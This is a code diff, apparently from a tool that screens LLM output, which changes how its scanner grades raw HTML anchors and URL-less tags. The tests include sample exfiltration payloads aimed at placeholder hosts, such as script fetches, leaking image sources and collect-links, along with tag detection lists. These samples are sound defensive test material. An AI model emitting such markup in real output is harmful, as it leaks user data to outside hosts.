heuristic, and it is a *backstop*, not the main line of defence: a literal heuristic, and it is a *backstop*, not the main line of defence: a literal
@ -200,6 +236,21 @@ _ACTIVE_TAGS = frozenset({
# URL-attribute branch still catches; `<base />` without one is inert. The mutator # URL-attribute branch still catches; `<base />` without one is inert. The mutator
# keeps the full set — see the module docstring. # keeps the full set — see the module docstring.
_SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"} _SCANNER_ACTIVE_TAGS = _ACTIVE_TAGS - {"base"}
# Tags whose entire active affordance IS the URL they name. Carrying no URL
# attribute at all, they name no target, so no renderer can fetch or follow them
# — `<base />`'s argument (0.6.0) applied to the rest of the name branch. The
# shapes this frees, observed inside vendor-harvest's fail_secure documents:
# `</a>`, `<Frame>`/`</Frame>`, `<video />`, and `<img alt=...>` with no `src` —
# end tags and MDX wrapper components dominate.
# Everything else in the name set does something a URL cannot describe —
# `<script>` executes its body, `<style>` restyles, `<form>` submits — and stays
# active with no attributes at all.
_URL_AFFORDANCE_TAGS = frozenset({
"a", "area", "img", "video", "audio", "source", "track", "frame", "frameset",
})
# Click-required carriers: following one needs a human, exactly like a markdown
# inline link. Everything else the renderer fetches or executes unattended.
_LINK_TAGS = frozenset({"a", "area"})
# `_URL_ATTR_RE` above is a presence test and deliberately captures no value. # `_URL_ATTR_RE` above is a presence test and deliberately captures no value.
# Reading the value needs the same literal alternation with the value attached, so # Reading the value needs the same literal alternation with the value attached, so
@ -236,12 +287,42 @@ def _url_attr_is_external(attrs: str) -> bool:
return not seen return not seen
def active_tag_class(name: str, attrs: str) -> str | None:
"""The active-content class a raw tag belongs to, or ``None`` if it is inert.
``"raw-html-link"`` is the click-required carrier class; ``"raw-html"`` is
everything the renderer acts on unattended. The event-handler test runs
FIRST, before the name test, so an ``<a onclick=...>`` is graded as the
execute-class carrier it is rather than downgraded with the anchors.
"""
lowered = name.lower()
if _EVENT_ATTR_RE.search(attrs):
return "raw-html"
# Presence, not a readable value: a URL attribute whose value this module
# cannot resolve must keep the tag active, mirroring `_url_attr_is_external`'s
# fail-secure gap. The corpora carry 0 of these today — empirical, not
# structural, so the predicate must not depend on that holding.
has_url_attr = bool(_URL_ATTR_RE.search(attrs))
if lowered in _SCANNER_ACTIVE_TAGS:
if lowered in _URL_AFFORDANCE_TAGS and not has_url_attr:
return None
return "raw-html-link" if lowered in _LINK_TAGS else "raw-html"
# A name outside the active set is active only through its URL attribute, and
# stays on the HIGH side: its rendering is unknown and `href` is not the only
# URL attribute it may carry. Measured cost of that conservatism: one
# document per wiki corpus.
if has_url_attr and _url_attr_is_external(attrs):
return "raw-html"
return None
def is_active_tag(name: str, attrs: str) -> bool: def is_active_tag(name: str, attrs: str) -> bool:
"""True if a tag is active for the SCANNER: executing element, event handler, """True if a tag is active for the SCANNER, in either carrier class.
or a URL attribute pointing at an external target."""
if name.lower() in _SCANNER_ACTIVE_TAGS or _EVENT_ATTR_RE.search(attrs): Kept as a separate symbol because ``docs/rawhtml-census.py`` patches it to
return True measure a candidate predicate, and consumers import it by name.
return bool(_URL_ATTR_RE.search(attrs)) and _url_attr_is_external(attrs) """
return active_tag_class(name, attrs) is not None
def is_defangable_tag(name: str, attrs: str) -> bool: def is_defangable_tag(name: str, attrs: str) -> bool:
@ -416,18 +497,24 @@ def scan_active_content(
_flag("autolink", autos) _flag("autolink", autos)
# Raw HTML is active whatever its URL looks like (an event handler needs no # Raw HTML is active whatever its URL looks like (an event handler needs no
# URL at all), so every tag is flagged as carrying — no ordinary form. # URL at all), so every tag is flagged as carrying — no ordinary form. The
html: list[tuple[str, bool]] = [] # two carrier classes are collected separately: a document holding both a
# `<script>` and an `<a href>` must not lose the anchor behind the script,
# nor grade the script down to the anchor's severity.
html: dict[str, list[tuple[str, bool]]] = {"raw-html": [], "raw-html-link": []}
def _tag(m: re.Match[str]) -> str: def _tag(m: re.Match[str]) -> str:
if not is_active_tag(m.group("name"), m.group("attrs") or ""): cls = active_tag_class(m.group("name"), m.group("attrs") or "")
if cls is None:
return m.group(0) return m.group(0)
html.append((URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False)) html[cls].append(
(URL_IN_TEXT_RE.sub(lambda u: defang_url(u.group(0)), m.group(0)), False))
return " " * len(m.group(0)) return " " * len(m.group(0))
masked = HTML_TAG_RE.sub(_tag, masked) masked = HTML_TAG_RE.sub(_tag, masked)
if html: for cls in ("raw-html", "raw-html-link"):
_flag("raw-html", html) if html[cls]:
_flag(cls, html[cls])
# A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme # A `data:` URI carries its own payload; `is_ordinary_url` rejects the scheme
# outright, so this stays HIGH through the same path as the rest. # outright, so this stays HIGH through the same path as the rest.

View file

@ -129,6 +129,11 @@ ACTIVE_CONTENT_SEVERITY = {
"reference-link": Severity.MEDIUM, "reference-link": Severity.MEDIUM,
"autolink": Severity.MEDIUM, "autolink": Severity.MEDIUM,
"raw-html": Severity.HIGH, "raw-html": Severity.HIGH,
# The raw-HTML carrier split (0.7.0). Until 0.6.1 every active tag was HIGH,
# so the same URL was MEDIUM as `[t](url)` and HIGH as `<a href="url">` — an
# asymmetry that came from syntax rather than affordance. Following an anchor
# needs a human, so it grades with the other click-required carriers.
"raw-html-link": Severity.MEDIUM,
"data-uri": Severity.HIGH, "data-uri": Severity.HIGH,
} }

View file

@ -485,6 +485,12 @@ def _build_cases() -> list[Case]:
f"![chart](https://evil.test/{_B64_INJECTION}/p.png)", owasp="LLM05"), f"![chart](https://evil.test/{_B64_INJECTION}/p.png)", owasp="LLM05"),
_scan_case("active", "raw active HTML", "active:raw-html", _scan_case("active", "raw active HTML", "active:raw-html",
"<script>steal()</script>", owasp="LLM05"), "<script>steal()</script>", owasp="LLM05"),
# The carrier split (0.7.0): a raw anchor is click-required, so it grades
# with the markdown link rather than with the zero-click carriers. It is
# its own class, and recall for it is demonstrated separately — a label a
# consumer can pin needs a row here, or 128/128 would silently exclude it.
_scan_case("active", "raw HTML anchor (click-required)", "active:raw-html-link",
'<a href="https://evil.test/collect?d=stolen">t</a>', owasp="LLM05"),
_scan_case("active", "standalone data: URI in prose", "active:data-uri", _scan_case("active", "standalone data: URI in prose", "active:data-uri",
"payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"), "payload data:text/html;base64,PHN2Zz4= end", owasp="LLM05"),
_predicate_case("active", "ordinary document is NOT over-blocked", "warn", _predicate_case("active", "ordinary document is NOT over-blocked", "warn",

View file

@ -267,16 +267,111 @@ def test_default_source_is_output_and_override_respected():
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a # Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
# closed over-block should fail here and force the doc to be updated. # closed over-block should fail here and force the doc to be updated.
# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
# Two changes that had to ship together: measured alone they free 9 / 21 of
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
# each change alone leaves the document blocked by the other's residue. Method
# and numbers: `docs/rawhtml-census.py`.
def test_raw_anchor_is_the_link_class_at_medium():
# Following an anchor needs a human, exactly like a markdown inline link —
# which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
# `[t](...)`, an asymmetry that came from syntax, not affordance.
finding = [f for f in scan_active_content(
'<a href="https://evil.example/go?d=account">t</a>').findings
if f.label == "active:raw-html-link"]
assert len(finding) == 1, "anchor not reported as the link class"
assert finding[0].severity is Severity.MEDIUM, finding[0].severity
def test_zero_click_carriers_keep_raw_html_at_high():
# The split moves ONLY the click-required carriers. Anything a renderer
# fetches or executes unattended stays where it was.
for text in ('<img src="https://evil.example/leak?d=x">',
'<iframe src="https://evil.example/x">',
"<script>fetch('https://evil.example/x')</script>"):
finding = [f for f in scan_active_content(text).findings
if f.label == "active:raw-html"]
assert finding and finding[0].severity is Severity.HIGH, text
def test_event_handler_on_an_anchor_stays_high():
# An `onclick=` anchor is execute-class, not click-required-carrier class.
# The handler test runs BEFORE the name test, so the split cannot grade an
# XSS carrier down to MEDIUM.
labels = {f.label for f in scan_active_content(
'<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
assert "active:raw-html" in labels
assert "active:raw-html-link" not in labels
def test_mixed_document_reports_both_classes_separately():
# The class collapses to one finding, so a document carrying both must not
# lose the anchor behind the script — nor grade the script down to the
# anchor's severity.
report = scan_active_content(
'<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
by_label = {f.label: f for f in report.findings}
assert by_label["active:raw-html"].severity is Severity.HIGH
assert by_label["active:raw-html-link"].severity is Severity.MEDIUM
def test_link_class_has_no_ordinary_form():
# Raw HTML grades on carrier only, never on URL shape — measured: applying
# `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
# vendor-doc image URLs are not ordinary. A third tier here would be a
# severity nobody decided on.
finding = [f for f in scan_active_content(
'<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
if f.label == "active:raw-html-link"]
assert finding and finding[0].severity is Severity.MEDIUM, finding
@pytest.mark.parametrize("cid,text", [ @pytest.mark.parametrize("cid,text", [
# Fires on the *name* branch: names are lower-cased and `frame` is in the # `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
# active set (legacy HTML framesets), while `Frame` is a common MDX component. ("end-tag-names-no-target", "</a>"),
# `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
("mdx-component-named-like-a-tag", "<Frame>"), ("mdx-component-named-like-a-tag", "<Frame>"),
("mdx-component-end-tag", "</Frame>"),
# `<video />`, 19 occurrences: a self-closing media tag naming no source.
("self-closing-media", "<video />"),
("anchor-without-href", "<a />"),
# An `<img>` carrying alt text but no `src` fetches nothing.
("img-without-src", '<img alt="Diagram of the agent loop">'),
]) ])
def test_raw_html_overblocks_are_still_high(cid, text): def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
finding = [f for f in scan_active_content(text).findings # A tag whose whole affordance IS the URL it names, carrying no URL
if f.label == "active:raw-html"] # attribute at all, has no affordance in any renderer — the argument 0.6.0
assert len(finding) == 1, f"{cid}: raw-html not reported" # already accepted for `<base />`, applied to the rest of the name branch.
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}" assert not [f for f in scan_active_content(text).findings
if f.label.startswith("active:raw-html")], cid
@pytest.mark.parametrize("cid,text", [
("relative-src-still-active", '<img src="/local/diagram.png">'),
("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
# The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
# a value the parser cannot resolve must over-block, never under-block. The
# corpora carry 0 of these today, which is empirical, not structural.
("unreadable-value-fails-secure", "<img src= >"),
("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
])
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
assert [f for f in scan_active_content(text).findings
if f.label.startswith("active:raw-html")], cid
def test_unknown_name_with_an_external_url_stays_high():
# The url-attribute branch is deliberately NOT in the link class: a tag
# outside the known name set has unknown rendering, and `href` is not the
# only URL attribute it may carry. Measured cost of the conservative line:
# one document per wiki corpus.
finding = [f for f in scan_active_content(
'<Card title="Docs" href="https://evil.example/leak?d=x">').findings
if f.label == "active:raw-html"]
assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding
# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) ------- # --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
@ -324,18 +419,19 @@ def test_external_url_attr_is_still_active(cid, text):
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}" assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
def test_raw_html_counts_end_tags(): def test_raw_html_no_longer_counts_end_tags():
# `</a>` is active by name on its own, so a corpus census counting only opening # Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
# tags understates this detector's `count`. The class still collapses to ONE # 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
# finding — the count is what moves. # narrowing makes an end tag inert — it names no target — so `count` is now
solo = [f for f in scan_active_content("</a>").findings # the opening-tag total. This is a PUBLISHED field moving: a consumer reading
if f.label == "active:raw-html"] # `count` sees it drop for every document carrying `</a>`.
assert len(solo) == 1 and solo[0].count == 1 assert not [f for f in scan_active_content("</a>").findings
if f.label.startswith("active:raw-html")]
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
if f.label == "active:raw-html"] if f.label == "active:raw-html-link"]
assert len(pair) == 1, "a start/end pair must not split into two findings" assert len(pair) == 1, "a start/end pair must not split into two findings"
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}" assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"
# --- self-safety (OWASP LLM10): the long-attribute arm ----------------------- # --- self-safety (OWASP LLM10): the long-attribute arm -----------------------

View file

@ -60,6 +60,7 @@ def test_active_content_severity_frozen():
"reference-link": Severity.MEDIUM, "reference-link": Severity.MEDIUM,
"autolink": Severity.MEDIUM, "autolink": Severity.MEDIUM,
"raw-html": Severity.HIGH, "raw-html": Severity.HIGH,
"raw-html-link": Severity.MEDIUM,
"data-uri": Severity.HIGH, "data-uri": Severity.HIGH,
} }

View file

@ -136,6 +136,11 @@ def test_census_private_active_content_names_still_exist():
assert ac._url_attr_is_external(' href="//evil.example"') is True assert ac._url_attr_is_external(' href="//evil.example"') is True
assert ac._url_attr_is_external(' href="/relative"') is False assert ac._url_attr_is_external(' href="/relative"') is False
assert callable(ac.is_active_tag) assert callable(ac.is_active_tag)
assert callable(ac.active_tag_class)
# 0.7.0's two name sets, both reached by name from the census's `_variant`.
assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"
def test_census_masking_pipeline_matches_the_scanner_symbols(): def test_census_masking_pipeline_matches_the_scanner_symbols():
@ -162,21 +167,45 @@ def test_census_candidate_table_keeps_its_three_fixed_rows():
assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from" assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row" assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
assert fns["PRODUCTION (as shipped)"] is None assert fns["PRODUCTION (as shipped)"] is None
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is False assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None
def test_census_candidates_return_a_class_not_a_boolean():
# A boolean patch point cannot express a REGRADE, only a narrowing. If a
# candidate ever returns True/False again, every carrier row would compare
# equal to PRODUCTION on the non-WARN metric and the script would report
# "the split buys nothing" — the exact conclusion it exists to disprove.
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
assert candidate("script", "") == "raw-html"
assert candidate("a", "") is None
for value in (True, False):
assert candidate("a", ' href="https://evil.example/x"') is not value
def test_census_patch_point_actually_moves_the_gate(monkeypatch): def test_census_patch_point_actually_moves_the_gate(monkeypatch):
# The census measures candidates by replacing `active_content.is_active_tag` # The census measures candidates by replacing `active_content.active_tag_class`
# in-process. If the scanner ever resolves that predicate any other way — a # in-process. If the scanner ever resolves that predicate any other way — a
# local alias, an inlined body — every candidate row would silently equal # local alias, an inlined body — every candidate row would silently equal
# PRODUCTION and the script would report "no narrowing helps" as a finding. # PRODUCTION and the script would report "no narrowing helps" as a finding.
doc = 'Read more <iframe src="https://evil.example/x"></iframe>' doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN
monkeypatch.setattr(ac, "is_active_tag", lambda name, attrs: False) monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
# The other half: patching the class must move the DISPOSITION TIER, not just
# presence. A carrier candidate that regrades without changing the tier would
# be unmeasurable, which is how the non-WARN-only metric hid this class.
doc = '<img src="https://evil.example/leak?d=x">'
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW
# Every branch of the shipped predicate, plus the two shapes where a hand-rolled # Every branch of the shipped predicate, plus the two shapes where a hand-rolled
# attribute reader diverges from it: a URL attribute name reached through a # attribute reader diverges from it: a URL attribute name reached through a
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is # prefix (`data-src`), and a multi-candidate `srcset` whose external target is
@ -194,16 +223,26 @@ _PREDICATE_CASES = [
("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'), ("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
("div", ' cite="https://evil.example"'), ("div", ' cite="https://evil.example"'),
("p", ""), ("p", ""),
# 0.7.0's two branches. Without these the shipped-candidate check would pass
# while the census still measured the 0.6.1 predicate.
("a", ' href="https://evil.example/x?d=1"'), # carrier split -> link class
("area", ' href="//evil.example"'),
("a", ' onclick="steal()"'), # handler beats the split
("a", ""), # no-URL narrowing -> inert
("frame", ""),
("img", ' alt="a diagram"'),
("img", ' src="/local/diagram.png"'), # relative URL is still active
("script", ' type="module"'), # execute-class needs no URL
] ]
@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES]) @pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
def test_census_production_row_equals_its_a_plus_base_candidate(name, attrs): def test_census_production_row_equals_its_shipped_candidate(name, attrs):
# The census's own docstring: "`A + base-url` is what 0.6.0 shipped, so these # The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
# two rows must agree — a mismatch means the code and this script have drifted # must agree — a mismatch means the code and this script have drifted apart
# apart and every number below is suspect." That claim was never asserted. # and every number below is suspect." That claim was never asserted.
candidate = dict(census.CANDIDATES)["A + base-url (both)"] candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
assert candidate(name, attrs) == ac.is_active_tag(name, attrs) assert candidate(name, attrs) == ac.active_tag_class(name, attrs)
# --- both scripts: the argument-less contract -------------------------------- # --- both scripts: the argument-less contract --------------------------------

View file

@ -102,6 +102,13 @@ def test_raw_active_html_is_escaped():
@pytest.mark.parametrize("cid,text", [ @pytest.mark.parametrize("cid,text", [
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'), ("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
("attributeless-base", "<base />"), ("attributeless-base", "<base />"),
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
# target — but the mutator still escapes them, because a human auditing
# defanged output should see the markup that was there.
("end-tag", "</a>"),
("mdx-wrapper-component", "<Frame>"),
("self-closing-media", "<video />"),
("img-without-src", '<img alt="a diagram">'),
]) ])
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text): def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed # The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed

View file

@ -183,11 +183,38 @@ def test_inert_vendor_doc_html_is_not_active(text):
@pytest.mark.parametrize("text", [ @pytest.mark.parametrize("text", [
'<a href="https://x.example/p">here</a>', '<img src="https://x.example/a.png">', '<img src="https://x.example/a.png">', '<div onclick="x()">clickme</div>',
'<div onclick="x()">clickme</div>', '<iframe src="https://x.example/x"></iframe>',
]) ])
def test_active_raw_html_still_fails_secure_on_upload(text): def test_zero_click_raw_html_still_fails_secure_on_upload(text):
# The other half of the same correction: `a` and `img` are active by name, so # The other half of the same correction: `img` is active by name, so a
# hand-written links and images in raw HTML *are* caught. The overcount is in # hand-written image in raw HTML *is* caught. The overcount is in the
# the formatting tags above, not in a weakened rule. # formatting tags above, not in a weakened rule.
assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
def test_split_tightens_the_trusted_tier_when_both_carriers_are_present():
# The cost side of the carrier split, pinned because it runs OPPOSITE to the
# change's purpose. Splitting one class into two means a document carrying
# both an `<img src>` and an `<a href>` now emits TWO findings at MEDIUM+
# where it emitted one, which trips the compound overlay: WARN through 0.6.1,
# QUARANTINE_REVIEW from 0.7.0. On the trusted preset nothing was hard-failed
# to begin with, so this is the only direction the split can move it.
both = ('<img src="https://x.example/a.png?d=1"> '
'and <a href="https://x.example/p?d=2">t</a>')
assert screen_output(both, PRESET_TRUSTED_SOURCE).disposition is Disposition.QUARANTINE_REVIEW
# The same document with only the zero-click carrier still WARNs on trusted:
# the escalation comes from the second finding, not from a changed severity.
only_img = '<img src="https://x.example/a.png?d=1">'
assert screen_output(only_img, PRESET_TRUSTED_SOURCE).disposition is Disposition.WARN
def test_raw_anchor_is_held_for_review_not_hard_failed():
# 0.7.0's carrier split. A raw anchor was FAIL_SECURE through 0.6.1 while the
# identical markdown link was WARN — an asymmetry of syntax, not affordance.
# It is now held for a human like every other click-required carrier. Pinned
# HERE, at the composed gate, because what a consumer feels is the
# disposition, not the label: this must never reach WARN either.
result = screen_output('<a href="https://x.example/p">here</a>', PRESET_USER_UPLOAD)
assert result.disposition is Disposition.QUARANTINE_REVIEW, result